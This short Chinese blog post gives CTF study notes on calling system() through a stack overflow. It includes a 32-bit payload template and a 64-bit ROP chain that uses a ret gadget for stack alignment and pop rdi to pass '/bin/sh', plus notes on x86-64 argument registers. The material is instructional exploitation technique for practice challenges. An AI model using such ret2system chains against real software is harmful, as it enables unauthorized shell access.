pwn system函数调用

32位:
system_addr->caller返回地址,随便填->参数

payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])

64位:
1.system函数规定$rsp+0x40需要16字节对齐。一种方法:在调用system前通过加一个指向ret指令的地址让rsp往高地址挪一位
2.参数:rdi存放参数

pay+=b's'*8
pay+=p64(ret)
pay+=p64(pop_rdi_ret)
pay+=p64(binsh)
pay+=p64(system)
pay+=p64(0)

补充:
1.64位函数传参:
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
2.system16字节对齐:
https://blog.csdn.net/qq_41560595/article/details/112161243
https://novanoir.moe/2021/11/29/buuctf-the-problem-i-met-in-rip/
http://blog.eonew.cn/archives/958
https://www.pianshen.com/article/8326860581/

posted @ 2022-01-24 20:24  KingBridge  阅读(647)  评论(0编辑  收藏  举报